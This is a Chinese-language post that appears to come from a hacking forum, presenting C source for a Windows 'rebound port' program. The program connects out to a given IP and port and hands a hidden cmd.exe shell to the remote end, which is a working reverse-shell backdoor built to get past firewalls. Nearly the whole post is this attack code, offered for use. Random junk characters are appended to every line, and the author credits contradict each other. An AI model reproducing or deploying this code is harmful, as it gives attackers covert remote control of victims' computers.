这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V'#u_`x"D)
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/* ============================== =
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Rebound port in Windows NT w4/)r-Z4I
By wind,2006/7 R3=E?us!
===============================*/ %Y[/Ucdm
#include )bJ6{&
#include 0md{e`'q:
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#pragma comment(lib,"wsock32.lib") x=<>%m5R
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void OutputShell(); KPK!'4,cu
SOCKET sClient; 3om7LqcRo
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; biuo.OG]
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void main(int argc,char **argv) MA QY/s~F
{ 2]KPW*V
WSADATA stWsaData; :D7!6}%
int nRet; DO*C]
SOCKADDR_IN stSaiClient,stSaiServer; 0([jD25J!
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if(argc != 3) un%"s:
{ 7Et(p'
printf("Useage:\n\rRebound DestIP DestPort\n"); =I3U.^:
return; 6@361f[
} ~H."{
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7q=xW6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Nzcej
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stSaiClient.sin_family = AF_INET; M& L0n%,y5
stSaiClient.sin_port = htons(0); TuR?r`P%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FC.-u"V
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %Q01EjRes
{ 4IpFT; `q
printf("Bind Socket Failed!\n"); WWzns[$f
return; oMf h|B
} )^xmy6k
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stSaiServer.sin_family = AF_INET; 8hV:bz"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZPog)d@!
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tV%\Jk),
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J~6*d,Ry`
{ G7xjW6^T
printf("Connect Error!"); !y0
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return; z<XS"4l?W
} Jx7^|A
OutputShell(); eHIC'b.
} Qk?Jy<Ra
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void OutputShell() 9a,CiH%@
{ CKx}.<_
char szBuff[1024]; w%na n=
SECURITY_ATTRIBUTES stSecurityAttributes; DSa92:M}
OSVERSIONINFO stOsversionInfo; .v!e=i}.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VNfx>&`
STARTUPINFO stStartupInfo; oZw#Nd
char *szShell; (CwaOm{g
PROCESS_INFORMATION stProcessInformation; -hfY:W`Dz
unsigned long lBytesRead; $80/ub:R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H%V[%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )HcC\[
stSecurityAttributes.lpSecurityDescriptor = 0; A
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stSecurityAttributes.bInheritHandle = TRUE; wVX0!y6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~KvCb3~X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1Zzw|@#>o
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YTA&G
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Y6mM_flq
stStartupInfo.wShowWindow = SW_HIDE; dDn:^)
stStartupInfo.hStdInput = hReadPipe; 4G2V{(@QiZ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \v_(*
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GetVersionEx(&stOsversionInfo); DO;
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switch(stOsversionInfo.dwPlatformId) Fh;(1X75I
{ pDT6>2t
case 1:
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szShell = "command.com"; v'=APl+_
break; )i>KgX
default: :7zI!edu
szShell = "cmd.exe"; 64cmv}d _
break; $fO*229As
} YFY)Z7fK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f
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send(sClient,szMsg,77,0);
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while(1) *!kg@ _0K
{ sa($3`d
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *bK@ A2`
if(lBytesRead) ,#6\:i
{ *G4;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0v?,:]A0E
send(sClient,szBuff,lBytesRead,0); TM;)[R@
} WfVie6
else nEYJ?_55
{ bC|~N0b
lBytesRead=recv(sClient,szBuff,1024,0); z m%\L/BF
if(lBytesRead<=0) break; t+tGN\q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uVocl,?.L
} y{<7OTA)
} O1"!'Gk[!L
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return; $qqusa}`K
}